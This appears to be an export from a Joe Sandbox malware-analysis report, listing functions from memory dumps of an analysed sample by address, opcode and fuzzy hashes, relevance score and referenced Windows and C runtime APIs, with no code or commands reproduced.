Snapshot File: hcaresult_0_2_6110000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a931b40ceede8fc8e657f3e6ff3e6436cd8021c853ba518e3b4cac55636b13c
Instruction ID: 0f15a8bc8948dde6c8ece32b63e83f381bac5c90d5742324b6324b8dd8a2c172
Opcode Fuzzy Hash: 8a931b40ceede8fc8e657f3e6ff3e6436cd8021c853ba518e3b4cac55636b13c
Instruction Fuzzy Hash: 2A91D674E00218CFDB14DFA9C990B9DBBB2BF88305F609169D409BB398DB355986DF50

Function 06117708 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553005905.0000000006110000.00000040.00000800.00020000.00000000.sdmp, Offset: 06110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6110000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 610222ad8f33c3170f655f38890482ca37ae9798973b10b287d5eac152fd330a
Instruction ID: 80bf99289243f232c3c9854c7e52e1cff65e57def8879d623199e26f0cd65cff
Opcode Fuzzy Hash: 610222ad8f33c3170f655f38890482ca37ae9798973b10b287d5eac152fd330a
Instruction Fuzzy Hash: D991E574E00218CFDB04DFA9C994BADBBB2FF88304F609069D418AB398DB355986DF50

Function 05EC312C Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552946020.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14906b9e389b589995fd3f58e404ed0c50a4f02d1b00d44cfae6a0e125b46fb0
Instruction ID: 24b54a4641555e076f9e797a31b86303c3ca0e136206b9880c087cb580cb0e9d
Opcode Fuzzy Hash: 14906b9e389b589995fd3f58e404ed0c50a4f02d1b00d44cfae6a0e125b46fb0
Instruction Fuzzy Hash: F6911570D00218CFDB10DFA8C998BDCBBB1FF49304F2096AAE449AB291DB759985CF14

Function 061A3717 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553158079.00000000061A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61a0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 989f5c944b554ebe90f0d1f31b13c076bff2889679bcf8d4e57ff24689e40a54
Instruction ID: 9166b7fced90607edb08b616b34b2948b6f319f77425e3d7c9806e748a592036
Opcode Fuzzy Hash: 989f5c944b554ebe90f0d1f31b13c076bff2889679bcf8d4e57ff24689e40a54
Instruction Fuzzy Hash: C8819675E016288FEB68CF6AC954B9EBAF2AF89300F14C1E9D408A7254DB745A85CF50

Function 05EC0B20 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552946020.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faa7333994a276277d7a5821d8b85b45e91badc7026c31099f9c55c2e347f16e
Instruction ID: b615d9f988ba759a22299394f80c3675e9278a7b2f086244942f81ef62f52ea4
Opcode Fuzzy Hash: faa7333994a276277d7a5821d8b85b45e91badc7026c31099f9c55c2e347f16e
Instruction Fuzzy Hash: 4F71C575D01228CFDB28DF66C9846DDBBF2BF89305F1090E9D409A7264DB349A82CF40

Function 061A149A Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553158079.00000000061A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61a0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7701ac4b1004b8fac7cccf1387bdbf33db433a3f8fede42f1a90cc9ae409d1a
Instruction ID: 603468e010826d039c47a624472b4fce2fef60a798d082a2b559137ecfbe3c24
Opcode Fuzzy Hash: a7701ac4b1004b8fac7cccf1387bdbf33db433a3f8fede42f1a90cc9ae409d1a
Instruction Fuzzy Hash: 8271A575E016289FEB68CF6AC944B9EFAF2BF88300F14C1A9D408A7254DB705A85CF50

Function 05EC1BAD Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552946020.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88a0847c14222296fc1d1a6cb12ce966fe09a54f570d6acfc22285f9cd3b41dd
Instruction ID: 1c51ace5a550e6ff28448b840ab0814ed9c6e7e220ab4edaa84b1d2ae21c33cb
Opcode Fuzzy Hash: 88a0847c14222296fc1d1a6cb12ce966fe09a54f570d6acfc22285f9cd3b41dd
Instruction Fuzzy Hash: 677185B1D01628CFEB68CF6AC954B9EBAF2BF88300F14D1E9D449A7254DB744A85CF11

Function 0210F166 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d05a49b53ae23379c976f91089ea2f48fccef8bea4cd8223cb5fe90561367c50
Instruction ID: bb585f015c5f982cf97ccca5c4699798ebda6e310e6d6e2622df576a6709a26a
Opcode Fuzzy Hash: d05a49b53ae23379c976f91089ea2f48fccef8bea4cd8223cb5fe90561367c50
Instruction Fuzzy Hash: C351A674E00218DFDB18DFAAD494A9DBBF2BF89310F249029E819AB364DB745946CF50

Function 0210F170 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c635c62b3909815fa3e79ef844130f117b0bbb321b71c8814aff7506f514271
Instruction ID: 885c9c7de71f1b150337bc3ba54e893ebcb10d61b3164c1cf609577db756e34a
Opcode Fuzzy Hash: 1c635c62b3909815fa3e79ef844130f117b0bbb321b71c8814aff7506f514271
Instruction Fuzzy Hash: BF519774E00318DFDB18DFAAD594A9DBBF2BF89311F209029E819AB3A4DB745941CF50

Function 061A302F Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553158079.00000000061A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61a0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdeff51b74637daa479486875c0943847769d08d766b3b0d4edda6352092ddfd
Instruction ID: aa8f71f12f8d80f5a8e51d051164d6fe4ade2285fb428e4f995c9fe540cddf14
Opcode Fuzzy Hash: bdeff51b74637daa479486875c0943847769d08d766b3b0d4edda6352092ddfd
Instruction Fuzzy Hash: A24188B1E016189BEB58CF6BD9447DEFAF3AFC9310F04C1AAC40CA6254DB740A858F51

Function 060B7FCF Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7d53fd923258ba81152334e395652859237277cb9a1bf54d5eafa71d982f80d
Instruction ID: ae066be39b47bceb79e6731d1dde55199d60d9b0b9382d5b3d432924dfb006aa
Opcode Fuzzy Hash: d7d53fd923258ba81152334e395652859237277cb9a1bf54d5eafa71d982f80d
Instruction Fuzzy Hash: 5341D4B0D012088FEB58DFAAC9547DEBBF6AF88300F24D169C418BB2A4DB755946CF54

Function 061A2947 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553158079.00000000061A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61a0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cd234f6bdd8d91c42cf005265294c9a0948c97f2ae826de7f0bc92c968dc656
Instruction ID: 5270a296acc707305854d25c8e5f26639033e550fa58fee4e80a7f7c166d1dce
Opcode Fuzzy Hash: 8cd234f6bdd8d91c42cf005265294c9a0948c97f2ae826de7f0bc92c968dc656
Instruction Fuzzy Hash: A0415675E016188BEB68CF6BD9447DEFAF3AFC8200F14C1A9D40CA6264DB740A858F51

Function 061A225F Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553158079.00000000061A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61a0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa134f993ecaf8fa452b5dab00aa5f3452173269946f26b58a034d6e11c3f4c2
Instruction ID: 2f5e3f0dedc9ca58bc338ec8c1b006bc0f0236a842e8258a10276ed4292f3065
Opcode Fuzzy Hash: aa134f993ecaf8fa452b5dab00aa5f3452173269946f26b58a034d6e11c3f4c2
Instruction Fuzzy Hash: 18417875E016188BEB58CF6BD9447DEFAF3AFC9210F04C1A9C40CA6254EB740A858F51

Function 061A1B78 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553158079.00000000061A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61a0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f68080087172af21b5001165637239c9e6f9b4be0a7bf58bf27214291ffa0fc
Instruction ID: ea15a1a1bc87850674cf65bb32c3c928fd4ddf38960f6524d4cae20e8f1c1850
Opcode Fuzzy Hash: 5f68080087172af21b5001165637239c9e6f9b4be0a7bf58bf27214291ffa0fc
Instruction Fuzzy Hash: 40416A71E016189BEB68CF6BD9547DEFAF3AFC9300F14C1A9C40CA6264DB7409858F51

Function 060B9407 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a180704fb45b10f0dfde20b7f55a9f4cc295e8fda79a759814c9870aa4b070a6
Instruction ID: 2aadf7ccd566ed99a957933aefdfe26cb56b8aff0ae71a4fba163ccc1d96e164
Opcode Fuzzy Hash: a180704fb45b10f0dfde20b7f55a9f4cc295e8fda79a759814c9870aa4b070a6
Instruction Fuzzy Hash: 9D410474E012088BEB48DFAAD8506DEFFF2AF89300F20D069C418BB258DB345946CF50

Function 061A0DB2 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553158079.00000000061A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61a0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4036a5f8911f005526750680f50bc5c3a0d58ab2520df64ad44e37e63a6e658c
Instruction ID: d4a04ac83bcd0c5b787890546ccd91162c38a3e0fa7da2a6cd6d0d291b16ae8b
Opcode Fuzzy Hash: 4036a5f8911f005526750680f50bc5c3a0d58ab2520df64ad44e37e63a6e658c
Instruction Fuzzy Hash: D24158B1E016189BEB68CF5BD94479EFAF3AFC8204F14C1A9C40CA6254EB740A858F51

Function 05EC2291 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552946020.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 677a7ceab9548253302228fde70fea5f8ca72afa0fdbccb553e2562dcff17b0d
Instruction ID: bc6e7fbb85ac49d467aa98c95be81f0db60d20d91a6c796ea2e126ad321dadbc
Opcode Fuzzy Hash: 677a7ceab9548253302228fde70fea5f8ca72afa0fdbccb553e2562dcff17b0d
Instruction Fuzzy Hash: 8B416971E016188BEB68CF5BC9447DEFAF3AFC8300F14C1A9C54DA6264EB744A868F51

Function 06162678 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553101543.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6160000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab520c7a52cf5f758bf8f76706930ae37a2d4159cbcdf65d4b1cac886413b366
Instruction ID: 7c8d9bb874a9baf7195540910fa7aa31a4bb4698551c85a8fb680e6e3e12c47a
Opcode Fuzzy Hash: ab520c7a52cf5f758bf8f76706930ae37a2d4159cbcdf65d4b1cac886413b366
Instruction Fuzzy Hash: 78410375E012188BEB48DFAAD9547EEBBF2BF89304F10D069D418BB254EB345946CF50

Function 060B1190 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdfddafc383ca2bfa6e14ebaa7dd0df950494288a72915c2c389348f00085f5e
Instruction ID: 4c39921216471a8f93a901278ff83203e49b4ed83398e23df7e4083da1faafd2
Opcode Fuzzy Hash: fdfddafc383ca2bfa6e14ebaa7dd0df950494288a72915c2c389348f00085f5e
Instruction Fuzzy Hash: 4C410570E01208CFEB58DFAAC9546EEBBF2AF89300F20E169C419BB258DB345945CF50

Function 060B1194 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57420484acad4f4b47a4e5b47867a0f3bc721e8c53aa3ba5378ffce725f97076
Instruction ID: e1e85e25e0b0ba59487d58dcb83803d0393bd82edc369a239b07d9e89c80832a
Opcode Fuzzy Hash: 57420484acad4f4b47a4e5b47867a0f3bc721e8c53aa3ba5378ffce725f97076
Instruction Fuzzy Hash: F541E570E01208CBEB58DFAAD5546EEFBF2AF89300F20D16AC419BB258DB345946CF50

Function 06126BA9 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553026503.0000000006120000.00000040.00000800.00020000.00000000.sdmp, Offset: 06120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6120000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 941c4fa98cbe71721b4992f1f5683248051786287774b1bf9b2cd6160f5f3326
Instruction ID: 6ef51212095b06adb0689031452eb6885db7f9a28d83df280f72bf00a98cc29c
Opcode Fuzzy Hash: 941c4fa98cbe71721b4992f1f5683248051786287774b1bf9b2cd6160f5f3326
Instruction Fuzzy Hash: 51412370E002598FEB58DFAAD8546EEBBF2BF89300F10D069C458BB258DB345912CF50

Function 060B1198 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a6b4d360f46b480a1044a201c511da876f7012c8ac3c21bb729054298771024
Instruction ID: c59f5f816a3a6a2fb958403baa56495d75416d2b696ec9403515ec63715a5638
Opcode Fuzzy Hash: 0a6b4d360f46b480a1044a201c511da876f7012c8ac3c21bb729054298771024
Instruction Fuzzy Hash: 1241E370E01208CBEB58DFAAC9546EEBBF2AF89300F20E169C419BB258DB345945CF50

Function 061A5BB6 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553158079.00000000061A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61a0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aeef679ff1b73a67c10e39fa21d7f66dffdc2c402194b17417e54f2440a53f3
Instruction ID: 68307e92326b458e9dc1c287625caf708c927b662cb565f5bb5f2daa3a09ad9e
Opcode Fuzzy Hash: 3aeef679ff1b73a67c10e39fa21d7f66dffdc2c402194b17417e54f2440a53f3
Instruction Fuzzy Hash: 2941F674A40329CFDB24EF20D954BAABBB2FB89305F1050E4940D673A4CB355E85DF41

Function 0040CBF7 Relevance: 21.1, APIs: 14, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 0040CC41
__mtinit.LIBCMT ref: 0040CC47
_fast_error_exit.LIBCMT ref: 0040CC52
__RTC_Initialize.LIBCMT ref: 0040CC58
__ioinit.LIBCMT ref: 0040CC61
__amsg_exit.LIBCMT ref: 0040CC6C
GetCommandLineA.KERNEL32 ref: 0040CC72
___crtGetEnvironmentStringsA.LIBCMT ref: 0040CC7D
__setargv.LIBCMT ref: 0040CC87
__amsg_exit.LIBCMT ref: 0040CC92
__setenvp.LIBCMT ref: 0040CC98
__amsg_exit.LIBCMT ref: 0040CCA3
__cinit.LIBCMT ref: 0040CCAB
__amsg_exit.LIBCMT ref: 0040CCB6

Memory Dump Source

Source File: 00000000.00000002.3548712378.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3548694901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548735954.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548805275.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp
String ID:
API String ID: 2598563909-0
Opcode ID: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
Instruction ID: 67c2b95978a5c3de314e94e7eee78366e8702871eb07600154e5c77a41a3d030
Opcode Fuzzy Hash: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
Instruction Fuzzy Hash: 5321E770A05304DAFB207BB3E98676932B46F00309F00453FE508B62D2EB7C89918A5C

Function 02108CE8 Relevance: 10.5, Strings: 8, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(odq, xrefs: 02109207
(odq, xrefs: 02108E0D
(odq, xrefs: 021091F7
,hq, xrefs: 02109198
,hq, xrefs: 02109188
(odq, xrefs: 02108DE1
(odq, xrefs: 02108D26
(odq, xrefs: 02108EAA

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: (odq$(odq$(odq$(odq$(odq$(odq$,hq$,hq
API String ID: 0-1376594924
Opcode ID: 633f1d0887f7d363f6f102514636b8fab659b977af193ded933277ee6de8a2b6
Instruction ID: c92a9ce68d725f8ad795acdd06c38ebb3ba12c9e550bddfe506a4f33212dcbc0
Opcode Fuzzy Hash: 633f1d0887f7d363f6f102514636b8fab659b977af193ded933277ee6de8a2b6
Instruction Fuzzy Hash: 61127B30A402189FCB24CF69C994A9EBBF2FF88714F158559E8499B2A2DB71ED41CB50

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000000.00000002.3548712378.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3548694901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548735954.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548805275.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 061AB728 Relevance: 6.1, APIs: 4, Instructions: 141threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 061AB7B6
GetCurrentThread.KERNEL32 ref: 061AB7F3
GetCurrentProcess.KERNEL32 ref: 061AB830
GetCurrentThreadId.KERNEL32 ref: 061AB889

Memory Dump Source

Source File: 00000000.00000002.3553158079.00000000061A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61a0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 7e6cda4ca02496df8efcd86eae487d2f3c6780eced52812031548e57d8f93ffc
Instruction ID: 7147297469b5f59bd0b276af757d9e9d3bca67bf8bf8267c06e913a3f620145e
Opcode Fuzzy Hash: 7e6cda4ca02496df8efcd86eae487d2f3c6780eced52812031548e57d8f93ffc
Instruction Fuzzy Hash: 4A5197B49043498FDB54DFAAD948BAEBFF1EF88310F208459E409A73A0DB745948CF65

Function 061AB738 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 061AB7B6
GetCurrentThread.KERNEL32 ref: 061AB7F3
GetCurrentProcess.KERNEL32 ref: 061AB830
GetCurrentThreadId.KERNEL32 ref: 061AB889

Memory Dump Source

Source File: 00000000.00000002.3553158079.00000000061A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61a0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 5015db4ccd2eaabf15f5be57be11109955d767653d08453f530fbef5ef63e7ff
Instruction ID: e1131b431a6bd150fea3fbfdb0749c4529d285800cf401310ca61d37eb2f57db
Opcode Fuzzy Hash: 5015db4ccd2eaabf15f5be57be11109955d767653d08453f530fbef5ef63e7ff
Instruction Fuzzy Hash: F15157B49003498FDB54DFAAD948BAEBBF1EF88310F208459E509B7390DB749948CF65

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000000.00000002.3548712378.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3548694901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548735954.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548805275.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

